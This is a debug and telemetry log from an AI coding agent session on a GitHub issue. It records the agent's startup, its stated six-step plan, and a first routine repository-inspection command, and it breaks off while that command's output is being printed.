session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.thread.skills.enabled_total\" cardinality_limit=2000\n[2026-07-12T04:02:18.829Z] [INFO] 2026-07-12T04:02:18.821877Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.thread.skills.kept_total\" cardinality_limit=2000\n[2026-07-12T04:02:18.829Z] [INFO] 2026-07-12T04:02:18.821920Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.thread.skills.truncated\" cardinality_limit=2000\n[2026-07-12T04:02:18.829Z] [INFO] 2026-07-12T04:02:18.821966Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.thread.skills.description_truncated_chars\" cardinality_limit=2000\n[2026-07-12T04:02:18.829Z] [INFO] \n[2026-07-12T04:02:18.928Z] [INFO] 2026-07-12T04:02:18.927924Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:02:18.928Z] [INFO] \n[2026-07-12T04:02:18.934Z] [INFO] 2026-07-12T04:02:18.931019Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:18.931Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.934Z] [INFO] 2026-07-12T04:02:18.931067Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:18.931Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:18.934Z] [INFO] 2026-07-12T04:02:18.931093Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:18.934Z] [INFO] \n[2026-07-12T04:02:20.598Z] [INFO] 2026-07-12T04:02:20.570410Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5311cc8dac81919697dd622e7b4f7a\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:20.598Z] [INFO] 2026-07-12T04:02:20.585055Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.ttft.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:20.598Z] [INFO] 2026-07-12T04:02:20.585134Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_otel.log_only: event.name=\"codex.turn_ttft\" duration_ms=6230 event.timestamp=2026-07-12T04:02:20.585Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:20.598Z] [INFO] 2026-07-12T04:02:20.585151Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_otel.trace_safe: event.name=\"codex.turn_ttft\" duration_ms=6230 event.timestamp=2026-07-12T04:02:20.585Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:20.598Z] [INFO] \n[2026-07-12T04:02:21.244Z] [INFO] 2026-07-12T04:02:21.221240Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:21.244Z] [INFO] \n[2026-07-12T04:02:21.292Z] [INFO] 2026-07-12T04:02:21.289534Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:21.292Z] [INFO] \n[2026-07-12T04:02:21.320Z] [INFO] 2026-07-12T04:02:21.320128Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:21.320Z] [INFO] \n[2026-07-12T04:02:21.329Z] [INFO] 2026-07-12T04:02:21.326351Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:21.329Z] [INFO] \n[2026-07-12T04:02:21.346Z] [INFO] 2026-07-12T04:02:21.331630Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:21.346Z] [INFO] \n[2026-07-12T04:02:22.078Z] [INFO] 2026-07-12T04:02:22.072231Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:22.078Z] [INFO] \n[2026-07-12T04:02:22.255Z] [INFO] 2026-07-12T04:02:22.254352Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:22.255Z] [INFO] \n[2026-07-12T04:02:22.288Z] [INFO] 2026-07-12T04:02:22.287956Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:22.288Z] [INFO] \n[2026-07-12T04:02:22.294Z] [INFO] 2026-07-12T04:02:22.293799Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:22.294Z] [INFO] \n[2026-07-12T04:02:22.298Z] [INFO] 2026-07-12T04:02:22.295494Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5311cc8dac81919697dd622e7b4f7a\"), role: \"assistant\", content: [OutputText { text: \"I\u2019ll inspect the issue, all issue/PR comment streams, the branch state, and repository guidance first. Then I\u2019ll turn that evidence into a tracked plan before changing code.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:22.298Z] [INFO] 2026-07-12T04:02:22.295632Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.turn.ttfm.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:22.298Z] [INFO] \n[2026-07-12T04:02:22.300Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_0\",\"type\":\"agent_message\",\"text\":\"I\u2019ll inspect the issue, all issue/PR comment streams, the branch state, and repository guidance first. Then I\u2019ll turn that evidence into a tracked plan before changing code.\"}}\n[2026-07-12T04:02:22.300Z] [INFO] \n[2026-07-12T04:02:22.303Z] [INFO] 2026-07-12T04:02:22.297166Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:22.303Z] [INFO] \n[2026-07-12T04:02:22.305Z] [INFO] 2026-07-12T04:02:22.299817Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311ce481081919277aa50ae3313ef\"), status: Some(\"in_progress\"), call_id: \"call_zBUDLr3OgQwwGYXSpzH8j3zz\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:22.305Z] [INFO] \n[2026-07-12T04:02:23.090Z] [INFO] 2026-07-12T04:02:23.088106Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:23.090Z] [INFO] \n[2026-07-12T04:02:23.234Z] [INFO] 2026-07-12T04:02:23.233549Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:23.234Z] [INFO] \n[2026-07-12T04:02:23.269Z] [INFO] 2026-07-12T04:02:23.266765Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:23.269Z] [INFO] \n[2026-07-12T04:02:23.278Z] [INFO] 2026-07-12T04:02:23.269660Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:23.278Z] [INFO] \n[2026-07-12T04:02:23.279Z] [INFO] 2026-07-12T04:02:23.277197Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:23.279Z] [INFO] \n[2026-07-12T04:02:24.074Z] [INFO] 2026-07-12T04:02:24.074267Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:24.074Z] [INFO] \n[2026-07-12T04:02:24.609Z] [INFO] 2026-07-12T04:02:24.607686Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:24.609Z] [INFO] \n[2026-07-12T04:02:24.652Z] [INFO] 2026-07-12T04:02:24.650883Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:24.652Z] [INFO] \n[2026-07-12T04:02:24.674Z] [INFO] 2026-07-12T04:02:24.672568Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:24.674Z] [INFO] \n[2026-07-12T04:02:24.678Z] [INFO] 2026-07-12T04:02:24.675838Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:24.678Z] [INFO] \n[2026-07-12T04:02:25.384Z] [INFO] 2026-07-12T04:02:25.384239Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:25.384Z] [INFO] \n[2026-07-12T04:02:25.563Z] [INFO] 2026-07-12T04:02:25.547477Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:25.563Z] [INFO] \n[2026-07-12T04:02:25.869Z] [INFO] 2026-07-12T04:02:25.865781Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:25.869Z] [INFO] \n[2026-07-12T04:02:25.874Z] [INFO] 2026-07-12T04:02:25.873981Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:25.874Z] [INFO] \n[2026-07-12T04:02:25.888Z] [INFO] 2026-07-12T04:02:25.886397Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:25.888Z] [INFO] \n[2026-07-12T04:02:26.554Z] [INFO] 2026-07-12T04:02:26.554371Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const p = await tools.update_plan({plan:[\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"in_progress\"},\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"pending\"},\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Implement the smallest complete fix and any required release metadata\",status:\"pending\"},\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"pending\"},\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"pending\"},\n[2026-07-12T04:02:26.554Z] [INFO]   {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:02:26.554Z] [INFO] ]});\n[2026-07-12T04:02:26.554Z] [INFO] const r = await tools.exec_command({cmd:\"pwd && git branch --show-current && git status --short --branch && rg --files -g 'AGENTS.md' -g 'CONTRIBUTING*' -g 'README*' -g 'pyproject.toml' -g 'package.json' -g '.github/**' | sed -n '1,200p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":20000});\n[2026-07-12T04:02:26.554Z] [INFO] text(r.output);\n[2026-07-12T04:02:26.554Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:26.554Z] [INFO] \n[2026-07-12T04:02:26.563Z] [INFO] 2026-07-12T04:02:26.562491Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311cafeec8191bcfd3412201be860\"\n[2026-07-12T04:02:26.563Z] [INFO] 2026-07-12T04:02:26.562546Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=15088 output_token_count=331 cached_token_count=9984 reasoning_token_count=0 tool_token_count=15419 ttft_ms=1640 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:26.562Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:26.563Z] [INFO] 2026-07-12T04:02:26.562570Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=15088 output_token_count=331 cached_token_count=9984 reasoning_token_count=0 tool_token_count=15419 ttft_ms=1640 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:26.562Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:26.563Z] [INFO] \n[2026-07-12T04:02:26.651Z] [INFO] 2026-07-12T04:02:26.650803Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:26.651Z] [INFO] \n[2026-07-12T04:02:26.716Z] [INFO] 2026-07-12T04:02:26.712676Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:26.716Z] [INFO] \n[2026-07-12T04:02:26.729Z] [INFO] 2026-07-12T04:02:26.728621Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:26.729Z] [INFO] \n[2026-07-12T04:02:26.734Z] [INFO] 2026-07-12T04:02:26.734185Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:26.734Z] [INFO] \n[2026-07-12T04:02:26.736Z] [INFO] 2026-07-12T04:02:26.736376Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.tool.call\" cardinality_limit=2000\n[2026-07-12T04:02:26.736Z] [INFO] 2026-07-12T04:02:26.736518Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.tool.call.duration_ms\" cardinality_limit=2000\n[2026-07-12T04:02:26.736Z] [INFO] \n[2026-07-12T04:02:26.737Z] [INFO] 2026-07-12T04:02:26.736553Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-2a0df4ac-b193-4683-bee9-2cb26e6f28d9 arguments={\"plan\":[{\"step\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"status\":\"in_progress\"},{\"step\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"status\":\"pending\"},{\"step\":\"Implement the smallest complete fix and any required release metadata\",\"status\":\"pending\"},{\"step\":\"Run focused tests and full local CI checks; review the complete diff\",\"status\":\"pending\"},{\"step\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"status\":\"pending\"},{\"step\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"status\":\"pending\"}]} duration_ms=0 success=true output=Plan updated mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:26.736Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:26.737Z] [INFO] 2026-07-12T04:02:26.736570Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-2a0df4ac-b193-4683-bee9-2cb26e6f28d9 duration_ms=0 success=true arguments_length=648 output_length=12 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:26.736Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:26.737Z] [INFO] \n[2026-07-12T04:02:26.743Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_1\",\"type\":\"todo_list\",\"items\":[{\"text\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"completed\":false},{\"text\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"completed\":false},{\"text\":\"Implement the smallest complete fix and any required release metadata\",\"completed\":false},{\"text\":\"Run focused tests and full local CI checks; review the complete diff\",\"completed\":false},{\"text\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"completed\":false},{\"text\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"completed\":false}]}}\n[2026-07-12T04:02:26.743Z] [INFO] \n[2026-07-12T04:02:26.751Z] [INFO] 2026-07-12T04:02:26.739812Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:26.751Z] [INFO] \n[2026-07-12T04:02:26.779Z] [INFO] 2026-07-12T04:02:26.778809Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.tool.unified_exec\" cardinality_limit=2000\n[2026-07-12T04:02:26.779Z] [INFO] \n[2026-07-12T04:02:26.781Z] [INFO] 2026-07-12T04:02:26.779234Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-efc84b53-6625-4e81-ade8-62748e5a1cbd decision=approved source=Config event.timestamp=2026-07-12T04:02:26.779Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:26.781Z] [INFO] \n[2026-07-12T04:02:26.991Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_2\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"pwd && git branch --show-current && git status --short --branch && rg --files -g 'AGENTS.md' -g 'CONTRIBUTING*' -g 'README*' -g 'pyproject.toml' -g 'package.json' -g '.github/**' | sed -n '1,200p'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:26.991Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_2\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"pwd && git branch --show-current && git status --short --branch && rg --files -g 'AGENTS.md' -g 'CONTRIBUTING*' -g 'README*' -g 'pyproject.toml' -g 'package.json' -g '.github/**' | sed -n '1,200p'\\\"\",\"aggregated_output\":\"/tmp/gh-issue-solver-1783828904396\\nissue-5-e2602184e2c5\\n## 